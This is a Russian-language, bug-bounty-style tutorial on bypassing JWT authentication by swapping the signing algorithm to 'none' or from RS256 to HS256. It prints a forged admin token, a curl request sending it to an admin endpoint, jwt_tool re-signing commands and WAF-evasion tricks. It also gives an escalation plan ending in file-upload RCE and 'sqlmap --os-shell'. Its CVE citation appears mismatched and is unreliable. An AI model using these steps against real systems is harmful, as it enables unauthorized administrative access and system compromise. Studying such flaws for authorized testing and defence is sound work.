Что вижу: JWT (JSON Web Token) в куках или заголовках типа Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
. Вижу, что алгоритм подписи (alg
) — это HS256
или что-то такое, что можно подменить. Это как замок на двери, но ключ от него лежит под ковриком с надписью «Взломай меня».
Как поймал: Перехватываю запрос через Burp Suite, декодирую токен на jwt.io
или через jwt_tool
. Сразу вижу, что alg
не зафиксирован на сервере, а проверка подписи — чисто формальность. Лезу в доки библиотеки (если это Node.js с jsonwebtoken
или Python с PyJWT
старой версии), ищу, как обойти валидацию.
Чем пахнет: Это потенциальный обход авторизации с вероятностью 8/10, если сервер тупо верит заголовку alg
и не проверяет его на бэкенде. Если алгоритм подписи можно подставить на none
, то ты уже админ, братан. Класс уязвимости — Authentication Bypass, иногда доходит до RCE, если админка даёт доступ к системным командам.
Почему подмена JWT alg — это боль?
Для тех, кто вчера только поставил Kali: JWT — это токен, состоящий из трёх частей (Header, Payload, Signature), разделённых точками и закодированных в Base64. Header содержит инфу об алгоритме подписи (alg
), например, HS256
(симметричный ключ) или RS256
(асимметричный). Проблема в том, что многие библиотеки и сервера слепо доверяют значению alg
из токена, не проверяя его на соответствие ожидаемому.
Классика жанра — подмена alg
на none
. Если сервер принимает токен с alg: none
, он просто игнорирует подпись и верит пейлоаду. Это как сказать охраннику: «У меня пропуск без подписи, но я свой, пусти». И он пускает! Или другой трюк: смена с RS256
(асимметричный, нужен публичный ключ) на HS256
(симметричный), используя публичный ключ как секрет для подписи. Если сервер не валидирует алгоритм, ты в игре.
CVE для примера: CVE-2018-0114 — уязвимость в некоторых реализациях JWT, где подмена alg
на none
позволяет обойти авторизацию. Эксплойты и PoC есть на Exploit-DB или в доках jwt_tool
.
Чё почём
Эксплойт: Вот тебе готовый вектор атаки через подмену alg
на none
. Допустим, у тебя есть токен, перехваченный через Burp:
1 |
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE1MTYyMzkwMjJ9.тут_подпись |
-
Декодируй Header и Payload на
jwt.io
или черезjwt_tool
. Видишь,user: guest
. Меняем это наuser: admin
. -
В Header меняем
alg
сHS256
наnone
. Новый токен собираем без подписи (просто Header.Payload. без третьей части):
1 |
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9. |
3. Отправляй через Burp или curl:
1 2 |
curl -X GET -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9." http://target.com/admin |
Если сервер принимает none
как валидный алгоритм, ты в админке. Поздравляю, бро, ты только что сломал авторизацию.
Вектор 2 (RS256 на HS256): Если alg
стоит RS256
, попробуй подменить на HS256
. Найди публичный ключ (часто он валяется в /jwks.json
или в исходниках). Используй его как секрет для подписи через HS256
с помощью jwt_tool
:
1 |
jwt_tool -I -S hs256 -k public_key.pem -pc user -pv admin input_token |
Отправь новый токен на сервер. Если он не проверяет алгоритм, ты снова админ.
Обход защиты: Если сервер фильтрует none
, попробуй другие значения alg
, типа HS384
или HS512
, играя с версиями библиотеки. Если есть WAF, шифруй токен через двойное кодирование (Base64 дважды) или подменяй заголовки: X-Forwarded-For: 127.0.0.1
.
Доказательство: Делай скрин ответа сервера с 200 OK
и доступом к /admin
. «Видишь приветствие ‘Welcome, Admin’? Это не твой котик мурлычет, это твой билет на баг-баунти». Лог запроса из Burp — твой PoC для HackerOne.
Советы
3 вектора для добивания:
-
Игра с алгоритмами. Если
none
не катит, попробуй подмену междуRS256
/HS256
или другие варианты (ES256
,PS256
). Используйjwt_tool -I -pc user -pv admin
для автоматизации. -
Копай ключ. Если это
RS256
, ищи публичный ключ в открытых эндпоинтах типа/jwks.json
или в старых репозиториях на GitHub. Иногда ключи сливают в коммитах. -
Смотри на куки и заголовки. JWT может быть не только в
Authorization
, но и в куках типаsession=...
. Проверяй все параметры через Burp Intruder.
План атаки:
-
Перехватывай токен через Burp и декодируй на
jwt.io
илиjwt_tool
. -
Подменяй
alg
наnone
или меняй алгоритм подписи, если есть ключ. Отправляй через Repeater в Burp. -
Если доступ получен, ищи админские функции (например, загрузку файлов для RCE). Если есть доступ к БД, дампи через
sqlmap --os-shell
.